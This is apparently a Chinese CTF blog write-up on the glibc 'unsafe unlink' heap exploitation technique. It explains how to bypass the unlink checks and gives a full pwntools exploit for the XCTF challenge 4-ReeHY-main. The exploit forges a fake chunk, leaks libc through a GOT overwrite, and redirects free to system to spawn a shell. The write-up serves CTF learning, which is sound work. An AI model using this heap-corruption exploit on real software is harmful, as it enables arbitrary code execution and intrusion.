Unsafe_Unlink

0x00 前言

利用堆溢出,我们可以构造一个指向程序任意位置的指针。

Image text

  1. chunk0_ptr = malloc(0x80) #chunk0_ptr固定的地址,一般为chunk_list
  2. chunk1_ptr = malloc(0x80)
  3. 为了通过check,需要:
     fake_fd = &chunk0_ptr - 0x18  (a)
     fake_bk = &chunk0_ptr - 0x10  (b)
     fake_size = 0x8  (c)
     (a)和(b)是为了通过check:

    P->fd->bk!=P || P->bk->fd!=P == False
    

     (c)是为了通过check:

    chunksize(P) != prev_size(next_chunk(P)) == False
    
  4. 通过堆溢出(可以是off-by-one),将prev_size修改为0x80,将prev_inuse修改为0

  5. free(chunk1),chunk0_ptr会被覆盖为fake_fd的值。此时,我们可以通过修改chunk0_ptr[3]重写自身以指向任意位置。

0x02 案例

题目来源:xctf攻防世界

题目附件:http://my.aidmong.cn/blogfile/pwn/20190626/4-ReeHY-main.zip

###本题特征:

1
2
3
1.在free函数中存在明显的double free漏洞。
2.在edit函数中,检查是否存在堆溢出的函数存在逻辑漏洞,巧妙利用可以进行堆溢出
3.show函数功能不可用。

利用堆溢出,使用unsafe_unlink在chunk_list中构造fake_chunk,得到几个指向程序任意位置的指针。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level = 'debug'
# p = process('./4-ReeHY-main')
p = remote('111.198.29.45', 31821)
elf = ELF('./4-ReeHY-main')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./ctflibc.so.6')

def ma(size, index, content):
p.sendafter('$', '1')
p.sendafter('Input', str(size))
p.sendafter('Input', str(index))
p.sendafter('Input', content)

def fr(index):
p.sendafter('$', '2')
p.sendafter('Chose', str(index))

def ed(index, content):
p.sendafter('$', '3')
p.sendafter('Chose', str(index))
p.sendafter('Input', content)

raw_input()
p.sendafter('$', 'aidmong')
ma(0x20, 4, '/bin/sh\x00')
ma(0x100, 0, '0')
ma(0x100, 1, '1')
fr(0)
fr(1)
chunk3_ptr = 0x602100
payload1 = p64(0) + p64(0x100) + p64(chunk3_ptr-0x18) + p64(chunk3_ptr-0x10) + 'a'*(0x100-0x20) + p64(0x100) + p64(0x110)
ma(0x210, 2, payload1)
fr(1)
payload2 = p64(0) + p64(elf.got['puts']) + p64(1) + p64(elf.got['free']) + p64(1)
ed(2, payload2)
ed(2, p64(elf.symbols['puts']))
fr(1)
p.recvuntil('\n')
puts_addr = u64(p.recv(6)+'\x00\x00')
print hex(puts_addr)
sys_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
print hex(sys_addr)
ed(2, p64(sys_addr))
fr(4)
p.interactive()

0x03 参考文档

CTF Wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/

how2heap:https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsafe_unlink.c

4-ReeHY-mainのWriteup:https://adworld.xctf.org.cn/task/writeup?type=pwn&id=4839

×

亲,赏点嘛(づ ̄3 ̄)づ╭❤~

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 0x00 前言
  2. 2. 0x01 图解unsafe_unlink
  3. 3. 0x02 案例
  4. 4. 0x03 参考文档